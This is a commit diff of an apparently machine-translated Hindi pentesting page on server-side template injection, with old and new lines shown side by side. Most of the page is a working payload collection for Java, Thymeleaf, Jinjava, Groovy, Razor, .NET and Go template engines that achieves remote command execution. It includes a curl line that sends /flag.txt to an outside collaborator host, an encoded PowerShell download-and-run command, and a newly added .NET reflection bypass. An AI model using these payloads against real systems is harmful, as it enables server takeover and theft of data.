Translated ['src/pentesting-web/ssti-server-side-template-injection/READ

This commit is contained in:
Translator 2025-03-21 09:29:33 +00:00
parent 9b24a70d6c
commit c4f3be2f63

View File

@ -4,7 +4,7 @@
## SSTI (सर्वर-साइड टेम्पलेट इंजेक्शन) क्या है ## SSTI (सर्वर-साइड टेम्पलेट इंजेक्शन) क्या है
सर्वर-साइड टेम्पलेट इंजेक्शन एक कमजोरियों है जो तब होती है जब एक हमलावर एक टेम्पलेट में दुर्भावनापूर्ण कोड इंजेक्ट कर सकता है जो सर्वर पर निष्पादित होता है। यह कमजोरी विभिन्न तकनीकों में पाई जा सकती है, जिसमें Jinja शामिल है। सर्वर-साइड टेम्पलेट इंजेक्शन एक कमजोर है जो तब होती है जब एक हमलावर एक टेम्पलेट में दुर्भावनापूर्ण कोड इंजेक्ट कर सकता है जो सर्वर पर निष्पादित होता है। यह कमजोरी विभिन्न तकनीकों में पाई जा सकती है, जिसमें Jinja शामिल है।
Jinja एक लोकप्रिय टेम्पलेट इंजन है जो वेब अनुप्रयोगों में उपयोग किया जाता है। आइए एक उदाहरण पर विचार करें जो Jinja का उपयोग करते हुए एक कमजोर कोड स्निपेट को प्रदर्शित करता है: Jinja एक लोकप्रिय टेम्पलेट इंजन है जो वेब अनुप्रयोगों में उपयोग किया जाता है। आइए एक उदाहरण पर विचार करें जो Jinja का उपयोग करते हुए एक कमजोर कोड स्निपेट को प्रदर्शित करता है:
```python ```python
@ -16,28 +16,28 @@ output = template.render(name=request.args.get('name'))
``` ```
http://vulnerable-website.com/?name={{bad-stuff-here}} http://vulnerable-website.com/?name={{bad-stuff-here}}
``` ```
The payload `{{bad-stuff-here}}` को `name` पैरामीटर में इंजेक्ट किया गया है। यह पेलोड Jinja टेम्पलेट निर्देशों को शामिल कर सकता है जो हमलावर को अनधिकृत कोड निष्पादित करने या टेम्पलेट इंजन में हेरफेर करने की अनुमति देते हैं, जिससे सर्वर पर नियंत्रण प्राप्त करने की संभावना होती है। The payload `{{bad-stuff-here}}` को `name` पैरामीटर में इंजेक्ट किया गया है। यह पेलोड Jinja टेम्पलेट निर्देशों को शामिल कर सकता है जो हमलावर को अनधिकृत कोड निष्पादित करने या टेम्पलेट इंजन में हेरफेर करने की अनुमति देते हैं, जिससे सर्वर पर नियंत्रण प्राप्त हो सकता है।
सर्वर-साइड टेम्पलेट इंजेक्शन कमजोरियों को रोकने के लिए, डेवलपर्स को यह सुनिश्चित करना चाहिए कि उपयोगकर्ता इनपुट को टेम्पलेट में डाले जाने से पहले सही तरीके से साफ और मान्य किया गया है। इनपुट मान्यता को लागू करना और संदर्भ-जानकारी वाले एस्केपिंग तकनीकों का उपयोग करना इस कमजोरी के जोखिम को कम करने में मदद कर सकता है। सर्वर-साइड टेम्पलेट इंजेक्शन कमजोरियों को रोकने के लिए, डेवलपर्स को यह सुनिश्चित करना चाहिए कि उपयोगकर्ता इनपुट को टेम्पलेट में डाले जाने से पहले सही तरीके से साफ और मान्य किया गया है। इनपुट मान्यता को लागू करना और संदर्भ-जानकारी वाले एस्केपिंग तकनीकों का उपयोग करना इस कमजोरी के जोखिम को कम करने में मदद कर सकता है।
### Detection ### Detection
सर्वर-साइड टेम्पलेट इंजेक्शन (SSTI) का पता लगाने के लिए, प्रारंभ में, **टेम्पलेट को फज़ करना** एक सीधा दृष्टिकोण है। इसमें टेम्पलेट में विशेष वर्णों की एक श्रृंखला (**`${{<%[%'"}}%\`**) को इंजेक्ट करना और नियमित डेटा बनाम इस विशेष पेलोड के लिए सर्वर की प्रतिक्रिया में अंतर का विश्लेषण करना शामिल है। कमजोरी के संकेतों में शामिल हैं: सर्वर-साइड टेम्पलेट इंजेक्शन (SSTI) का पता लगाने के लिए, प्रारंभ में, **टेम्पलेट को फज़ करना** एक सीधा दृष्टिकोण है। इसमें टेम्पलेट में विशेष वर्णों की एक श्रृंखला (**`${{<%[%'"}}%\`**) को इंजेक्ट करना और नियमित डेटा की तुलना में इस विशेष पेलोड के लिए सर्वर की प्रतिक्रिया में भिन्नताओं का विश्लेषण करना शामिल है। कमजोरी के संकेतों में शामिल हैं:
- फेंके गए त्रुटियाँ, जो कमजोरी और संभावित रूप से टेम्पलेट इंजन को प्रकट करती हैं। - फेंके गए त्रुटियाँ, जो कमजोरी और संभावित रूप से टेम्पलेट इंजन को प्रकट करती हैं।
- परावर्तन में पेलोड की अनुपस्थिति, या इसके कुछ हिस्सों का गायब होना, यह संकेत करता है कि सर्वर इसे नियमित डेटा की तुलना में अलग तरीके से संसाधित करता है। - परावर्तन में पेलोड की अनुपस्थिति, या इसके कुछ हिस्सों का गायब होना, यह संकेत करता है कि सर्वर इसे नियमित डेटा की तुलना में अलग तरीके से संसाधित करता है।
- **Plaintext Context**: XSS से अलग करने के लिए यह जांचें कि क्या सर्वर टेम्पलेट अभिव्यक्तियों का मूल्यांकन करता है (जैसे, `{{7*7}}`, `${7*7}`)। - **Plaintext Context**: XSS से अलग पहचानें कि क्या सर्वर टेम्पलेट अभिव्यक्तियों का मूल्यांकन करता है (जैसे, `{{7*7}}`, `${7*7}`)।
- **Code Context**: इनपुट पैरामीटर को बदलकर कमजोरी की पुष्टि करें। उदाहरण के लिए, `http://vulnerable-website.com/?greeting=data.username` में `greeting` को बदलकर देखें कि क्या सर्वर का आउटपुट गतिशील है या स्थिर, जैसे `greeting=data.username}}hello` जो उपयोगकर्ता नाम लौटाता है। - **Code Context**: इनपुट पैरामीटर को बदलकर कमजोरी की पुष्टि करें। उदाहरण के लिए, `http://vulnerable-website.com/?greeting=data.username` में `greeting` को बदलकर देखें कि क्या सर्वर का आउटपुट गतिशील है या स्थिर, जैसे `greeting=data.username}}hello` जो उपयोगकर्ता नाम लौटाता है।
#### Identification Phase #### Identification Phase
टेम्पलेट इंजन की पहचान करने के लिए त्रुटि संदेशों का विश्लेषण करना या विभिन्न भाषा-विशिष्ट पेलोड का मैन्युअल परीक्षण करना शामिल है। सामान्य पेलोड जो त्रुटियाँ उत्पन्न करते हैं उनमें `${7/0}`, `{{7/0}}`, और `<%= 7/0 %>` शामिल हैं। गणितीय संचालन के लिए सर्वर की प्रतिक्रिया को देखना विशिष्ट टेम्पलेट इंजन को पहचानने में मदद करता है। टेम्पलेट इंजन की पहचान त्रुटि संदेशों का विश्लेषण करके या विभिन्न भाषा-विशिष्ट पेलोड का मैन्युअल परीक्षण करके की जाती है। सामान्य पेलोड जो त्रुटियाँ उत्पन्न करते हैं उनमें शामिल हैं `${7/0}`, `{{7/0}}`, और `<%= 7/0 %>`। गणितीय संचालन के लिए सर्वर की प्रतिक्रिया को देखना विशिष्ट टेम्पलेट इंजन को पहचानने में मदद करता है।
#### Identification by payloads #### Identification by payloads
<figure><img src="../../images/image (9).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg</a></p></figcaption></figure> <figure><img src="../../images/image (9).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg</a></p></figcaption></figure>
- अधिक जानकारी [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) में - More info in [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
## Tools ## Tools
@ -62,7 +62,7 @@ python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment
``` ```
### [Template Injection Table](https://github.com/Hackmanit/template-injection-table) ### [Template Injection Table](https://github.com/Hackmanit/template-injection-table)
एक इंटरैक्टिव टेबल जिसमें सबसे प्रभावी टेम्पलेट इंजेक्शन पॉलीग्लॉट्स शामिल हैं, साथ ही 44 सबसे महत्वपूर्ण टेम्पलेट इंजनों क अपेक्षित प्रतिक्रियाएँ भी हैं। एक इंटरैक्टिव टेबल जिसमें सबसे प्रभावी टेम्पलेट इंजेक्शन पॉलीग्लॉट्स शामिल हैं, साथ ही 44 सबसे महत्वपूर्ण टेम्पलेट इंजनों क अपेक्षित प्रतिक्रियाएँ भी हैं।
## Exploits ## Exploits
@ -84,7 +84,7 @@ ${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()} ${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}. // if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
``` ```
**जावा - सिस्टम के पर्यावरण चर प्राप्त करें** **Java - सिस्टम के पर्यावरण चर प्राप्त करें**
```java ```java
${T(java.lang.System).getenv()} ${T(java.lang.System).getenv()}
``` ```
@ -96,7 +96,7 @@ ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().ex
``` ```
### FreeMarker (Java) ### FreeMarker (Java)
आप अपने पेलोड्स को [https://try.freemarker.apache.org](https://try.freemarker.apache.org) पर आजमा सकते हैं आप अपने पेलोड्स को [https://try.freemarker.apache.org](https://try.freemarker.apache.org) पर आजमा सकते हैं
- `{{7*7}} = {{7*7}}` - `{{7*7}} = {{7*7}}`
- `${7*7} = 49` - `${7*7} = 49`
@ -155,7 +155,7 @@ $out.read()
### Thymeleaf ### Thymeleaf
Thymeleaf में, SSTI कमजोरियों के लिए एक सामान्य परीक्षण है अभिव्यक्ति `${7*7}`, जो इस टेम्पलेट इंजन पर भी लागू होत है। संभावित रिमोट कोड निष्पादन के लिए, निम्नलिखित अभिव्यक्तियों का उपयोग किया जा सकता है: Thymeleaf में, SSTI कमजोरियों के लिए एक सामान्य परीक्षण है अभिव्यक्ति `${7*7}` , जो इस टेम्पलेट इंजन पर भी लागू होत है। संभावित रिमोट कोड निष्पादन के लिए, निम्नलिखित अभिव्यक्तियों का उपयोग किया जा सकता है:
- SpringEL: - SpringEL:
@ -169,9 +169,9 @@ ${T(java.lang.Runtime).getRuntime().exec('calc')}
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")} ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
``` ```
Thymeleaf को इन अभिव्यक्तियों को विशिष्ट विशेषताओं के भीतर रखा जाना आवश्यक है। हालाँकि, _expression inlining_ अन्य टेम्पलेट स्थानों के लिए समर्थित है, जैसे कि `[[...]]` या `[(...)]` का उपयोग करके। इस प्रकार, एक सरल SSTI परीक्षण पेलोड इस तरह दिख सकता है `[[${7*7}]]`. Thymeleaf को इन अभिव्यक्तियों को विशिष्ट विशेषताओं के भीतर रखा जाना आवश्यक है। हालाँकि, _expression inlining_ अन्य टेम्पलेट स्थानों के लिए समर्थित है, जैसे कि `[[...]]` या `[(...)]` का उपयोग करते हुए। इस प्रकार, एक सरल SSTI परीक्षण पेलोड इस तरह दिख सकता है `[[${7*7}]]`
हालांकि, इस पेलोड के काम करने की संभावना सामान्यतः कम है। Thymeleaf की डिफ़ॉल्ट कॉन्फ़िगरेशन गतिशील टेम्पलेट निर्माण का समर्थन नहीं करती; टेम्पलेट को पूर्वनिर्धारित होना चाहिए। डेवलपर्स को स्ट्रिंग्स से ऑन-द-फ्लाई टेम्पलेट बनाने के लिए अपना `TemplateResolver` लागू करने की आवश्यकता होगी, जो असामान्य है। हालांकि, इस पेलोड के काम करने की संभावना सामान्यतः कम है। Thymeleaf की डिफ़ॉल्ट कॉन्फ़िगरेशन गतिशील टेम्पलेट निर्माण का समर्थन नहीं करती; टेम्पलेट को पूर्वनिर्धारित होना चाहिए। डेवलपर्स को स्ट्रिंग से तात्कालिक रूप से टेम्पलेट बनाने के लिए अपना `TemplateResolver` लागू करने की आवश्यकता होगी, जो असामान्य है।
Thymeleaf _expression preprocessing_ भी प्रदान करता है, जहाँ डबल अंडरस्कोर (`__...__`) के भीतर अभिव्यक्तियों को पूर्व-प्रसंस्कृत किया जाता है। इस सुविधा का उपयोग अभिव्यक्तियों के निर्माण में किया जा सकता है, जैसा कि Thymeleaf के दस्तावेज़ में प्रदर्शित किया गया है: Thymeleaf _expression preprocessing_ भी प्रदान करता है, जहाँ डबल अंडरस्कोर (`__...__`) के भीतर अभिव्यक्तियों को पूर्व-प्रसंस्कृत किया जाता है। इस सुविधा का उपयोग अभिव्यक्तियों के निर्माण में किया जा सकता है, जैसा कि Thymeleaf के दस्तावेज़ में प्रदर्शित किया गया है:
```java ```java
@ -184,7 +184,7 @@ Thymeleaf _expression preprocessing_ भी प्रदान करता ह
<a th:href="@{__${path}__}" th:title="${title}"> <a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'> <a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
``` ```
यह इंगित करता है कि यदि टेम्पलेट इंजन इन इनपुट्स को गलत तरीके से प्रोसेस करता है, तो यह दूरस्थ कोड निष्पादन की ओर ले जा सकता है जो URLs तक पहुँच सकता है: यह इंगित करता है कि यदि टेम्पलेट इंजन इन इनपुट को गलत तरीके से प्रोसेस करता है, तो यह दूरस्थ कोड निष्पादन की ओर ले जा सकता है जो URLs तक पहुँच सकता है:
``` ```
http://localhost:8082/(7*7) http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')}) http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
@ -242,7 +242,7 @@ print(base_payload + end_payload)
- [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html) - [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html)
- [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd) - [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd)
### स्प्रिंग व्यू मैनिपुलेशन (जावा) ### स्प्रिंग व्यू मैनिपुलेशन (Java)
```java ```java
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x __${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
@ -284,12 +284,12 @@ Pebble का नया संस्करण:
.constructors[0] .constructors[0]
.newInstance(([bytes]).toArray()) }} .newInstance(([bytes]).toArray()) }}
``` ```
### जिनजावा (Java) ### Jinjava (Java)
```java ```java
{{'a'.toUpperCase()}} would result in 'A' {{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206 {{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
``` ```
Jinjava एक ओपन सोर्स प्रोजेक्ट है जिसे Hubspot द्वारा विकसित किया गया है, उपलब्ध है [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/) Jinjava एक ओपन सोर्स प्रोजेक्ट है जिसे Hubspot द्वारा विकसित किया गया है, जो [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/) पर उपलब्ध है।
**Jinjava - कमांड निष्पादन** **Jinjava - कमांड निष्पादन**
@ -319,7 +319,7 @@ Jinjava एक ओपन सोर्स प्रोजेक्ट है ज
- `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest - `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
- `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug() - `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
"com.hubspot.content.hubl.context.TemplateContextRequest" के लिए खोजें और [Jinjava प्रोजेक्ट को Github पर खोजें](https://github.com/HubSpot/jinjava/). "com.hubspot.content.hubl.context.TemplateContextRequest" के लिए खोजें और [Jinjava प्रोजेक्ट को Github पर खोजें](https://github.com/HubSpot/jinjava/)
```java ```java
{{request.isDebug()}} {{request.isDebug()}}
//output: False //output: False
@ -372,10 +372,10 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
- `${{7*7}}` - 49 - `${{7*7}}` - 49
- `${{request}}, ${{session}}, {{faceContext}}` - `${{request}}, ${{session}}, {{faceContext}}`
Expression Language (EL) एक मौलिक विशेषता है जो प्रस्तुति परत (जैसे वेब पृष्ठ) और एप्लिकेशन लॉजिक (जैसे प्रबंधित बीन) के बीच बातचीत को सुविधाजनक बनाती है JavaEE में। इसका उपयोग कई JavaEE तकनीकों में इस संचार को सरल बनाने के लिए किया जाता है। EL का उपयोग करने वाली प्रमुख JavaEE तकनीकें शामिल हैं: Expression Language (EL) एक मौलिक विशेषता है जो प्रस्तुति परत (जैसे वेब पृष्ठ) और एप्लिकेशन लॉजिक (जैसे प्रबंधित बीन) के बीच बातचीत को सुगम बनाती है JavaEE में। इसका उपयोग कई JavaEE तकनीकों में इस संचार को सरल बनाने के लिए किया जाता है। EL का उपयोग करने वाली प्रमुख JavaEE तकनीकें शामिल हैं:
- **JavaServer Faces (JSF)**: JSF पृष्ठों में घटकों को संबंधित बैकएंड डेटा और क्रियाओं से जोड़ने के लिए EL का उपयोग करता है। - **JavaServer Faces (JSF)**: JSF पृष्ठों में घटकों को संबंधित बैकएंड डेटा और क्रियाओं से जोड़ने के लिए EL का उपयोग करता है।
- **JavaServer Pages (JSP)**: JSP में डेटा तक पहुँचने और उसे संशोधित करने के लिए EL का उपयोग किया जाता है, जिससे पृष्ठ तत्वों को एप्लिकेशन डेटा से जोड़ना आसान हो जाता है। - **JavaServer Pages (JSP)**: JSP में डेटा को एक्सेस और मैनिपुलेट करने के लिए EL का उपयोग किया जाता है, जिससे पृष्ठ तत्वों को एप्लिकेशन डेटा से जोड़ना आसान हो जाता है।
- **Contexts and Dependency Injection for Java EE (CDI)**: EL CDI के साथ एकीकृत होता है ताकि वेब परत और प्रबंधित बीन के बीच निर्बाध बातचीत सुनिश्चित की जा सके, जिससे एक अधिक संगठित एप्लिकेशन संरचना बनती है। - **Contexts and Dependency Injection for Java EE (CDI)**: EL CDI के साथ एकीकृत होता है ताकि वेब परत और प्रबंधित बीन के बीच निर्बाध बातचीत सुनिश्चित की जा सके, जिससे एक अधिक संगठित एप्लिकेशन संरचना बनती है।
**EL इंटरप्रेटर्स के शोषण** के बारे में अधिक जानने के लिए निम्नलिखित पृष्ठ देखें: **EL इंटरप्रेटर्स के शोषण** के बारे में अधिक जानने के लिए निम्नलिखित पृष्ठ देखें:
@ -386,7 +386,7 @@ el-expression-language.md
### ग्रूवी (Java) ### ग्रूवी (Java)
निम्नलिखित सुरक्षा प्रबंधक बायपास इस [**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/) से लिए गए हैं। निम्नलिखित सुरक्षा प्रबंधक बायपास इस [**लेख**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/) से लिए गए हैं।
```java ```java
//Basic Payload //Basic Payload
import groovy.*; import groovy.*;
@ -668,10 +668,10 @@ URLencoded:
| **टेम्पलेट** | **विवरण** | | **टेम्पलेट** | **विवरण** |
| ------------ | ------------------------------------- | | ------------ | ------------------------------------- |
| | आउटपुट का मूल्यांकन और रेंडर करना | | | आउटपुट का मूल्यांकन और रेंडर करें |
| | एचटीएमएल एन्कोडेड आउटपुट का मूल्यांकन और रेंडर करना | | | एचटीएमएल एन्कोडेड आउटपुट का मूल्यांकन और रेंडर करें |
| | टिप्पणी | | | टिप्पणी |
| और | कोड की अनुमति (डिफ़ॉल्ट रूप से अक्षम) | | और | कोड की अनुमति दें (डिफ़ॉल्ट रूप से अक्षम) |
- \= 49 - \= 49
@ -777,7 +777,7 @@ range.constructor(
### पायथन ### पायथन
**सैंडबॉक्स को बायपास करने के लिए मनमाने कमांड निष्पादन** के बारे में ट्रिक्स सीखने के लिए निम्नलिखित पृष्ठ देखें: **संदर्भ** में **अर्थात् आदेश निष्पादन बायपासिंग सैंडबॉक्स** के बारे में ट्रिक्स सीखने के लिए निम्नलिखित पृष्ठ देखें:
{{#ref}} {{#ref}}
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/ ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
@ -814,7 +814,7 @@ range.constructor(
[आधिकारिक वेबसाइट](http://jinja.pocoo.org) [आधिकारिक वेबसाइट](http://jinja.pocoo.org)
> Jinja2 Python के लिए एक पूर्ण विशेषताओं वाला टेम्पलेट इंजन है। इसमें पूर्ण यूनिकोड समर्थन, एक वैकल्पिक एकीकृत सैंडबॉक्स निष्पादन वातावरण है, जो व्यापक रूप से उपयोग किया जाता है और BSD लाइसेंस प्राप्त है। > Jinja2 Python के लिए एक पूर्ण विशेषताओं वाला टेम्पलेट इंजन है। इसमें पूर्ण यूनिकोड समर्थन, एक वैकल्पिक एकीकृत सैंडबॉक्स निष्पादन वातावरण, व्यापक रूप से उपयोग किया जाने वाला और BSD लाइसेंस प्राप्त है।
- `{{7*7}} = Error` - `{{7*7}} = Error`
- `${7*7} = ${7*7}` - `${7*7} = ${7*7}`
@ -908,7 +908,7 @@ ${x}
- `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");` - `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
- `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");` - `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
.NET `System.Diagnostics.Process.Start` विधि का उपयोग सर्वर पर किसी भी प्रक्रिया को शुरू करने और इस प्रकार एक वेबशेल बनाने के लिए किया जा सकता है। आप [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp) में एक कमजोर वेब ऐप उदाहरण पा सकते हैं। .NET `System.Diagnostics.Process.Start` विधि का उपयोग सर्वर पर किसी भी प्रक्रिया को शुरू करने के लिए किया जा सकता है और इस प्रकार एक वेबशेल बनाया जा सकता है। आप [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp) में एक कमजोर वेब ऐप का उदाहरण पा सकते हैं।
**अधिक जानकारी** **अधिक जानकारी**
@ -928,9 +928,26 @@ ${x}
- [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp) - [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp)
### .Net प्रतिबंधों को बायपास करना
.NET Reflection तंत्रों का उपयोग ब्लैकलिस्टिंग या असेंबली में वर्गों की अनुपस्थिति को बायपास करने के लिए किया जा सकता है। DLL को रनटाइम पर लोड किया जा सकता है, जिसमें मूलभूत वस्तुओं से विधियाँ और गुण सुलभ होते हैं।
Dll को लोड किया जा सकता है:
- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}` - फाइल सिस्टम से।
- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}` - सीधे अनुरोध से।
पूर्ण कमांड निष्पादन:
```
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}
```
**अधिक जानकारी**
- [https://efigo.pl/en/blog/cve-2024-9150/](https://efigo.pl/en/blog/cve-2024-9150/)
### Mojolicious (Perl) ### Mojolicious (Perl)
यह भले ही Perl है, लेकिन यह Ruby में ERB की तरह टैग का उपयोग करता है। यह भले ही perl है, लेकिन यह Ruby में ERB की तरह टैग का उपयोग करता है।
- `<%= 7*7 %> = 49` - `<%= 7*7 %> = 49`
- `<%= foobar %> = Error` - `<%= foobar %> = Error`
@ -958,7 +975,7 @@ vbnet Copy code
RCE शोषण `html/template` और `text/template` के बीच काफी भिन्न होता है। `text/template` मॉड्यूल किसी भी सार्वजनिक फ़ंक्शन को सीधे कॉल करने की अनुमति देता है ( "call" मान का उपयोग करके), जो `html/template` में अनुमति नहीं है। इन मॉड्यूल के लिए दस्तावेज़ [यहां html/template के लिए](https://golang.org/pkg/html/template/) और [यहां text/template के लिए](https://golang.org/pkg/text/template/) उपलब्ध है। RCE शोषण `html/template` और `text/template` के बीच काफी भिन्न होता है। `text/template` मॉड्यूल किसी भी सार्वजनिक फ़ंक्शन को सीधे कॉल करने की अनुमति देता है ( "call" मान का उपयोग करके), जो `html/template` में अनुमति नहीं है। इन मॉड्यूल के लिए दस्तावेज़ [यहां html/template के लिए](https://golang.org/pkg/html/template/) और [यहां text/template के लिए](https://golang.org/pkg/text/template/) उपलब्ध है।
Go में SSTI के माध्यम से RCE के लिए, ऑब्जेक्ट विधियों को बुलाया जा सकता है। उदाहरण के लिए, यदि प्रदान किया गया ऑब्जेक्ट एक `System` विधि है जो कमांड चलाता है, तो इसे इस तरह से शोषित किया जा सकता है: `{{ .System "ls" }}`। इसे शोषित करने के लिए आमतौर पर स्रोत कोड तक पहुंच आवश्यक होती है, जैसा कि दिए गए उदाहरण में: Go में SSTI के माध्यम से RCE के लिए, ऑब्जेक्ट विधियों को बुलाया जा सकता है। उदाहरण के लिए, यदि प्रदान किया गया ऑब्जेक्ट एक `System` विधि है जो कमांड चलाता है, तो इसे इस तरह से शोषित किया जा सकता है `{{ .System "ls" }}`। इसे शोषित करने के लिए आमतौर पर स्रोत कोड तक पहुंच आवश्यक होती है, जैसा कि दिए गए उदाहरण में:
```go ```go
func (p Person) Secret (test string) string { func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput() out, _ := exec.Command(test).CombinedOutput()
@ -994,7 +1011,7 @@ EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf
- [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap) - [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap)
- [https://github.com/Hackmanit/template-injection-table](https://github.com/Hackmanit/template-injection-table) - [https://github.com/Hackmanit/template-injection-table](https://github.com/Hackmanit/template-injection-table)
## ब्रूट-फोर्स डिटेक्शन लिस्ट ## ब्रूट-फोर्स डिटेक्शन सूची
{{#ref}} {{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt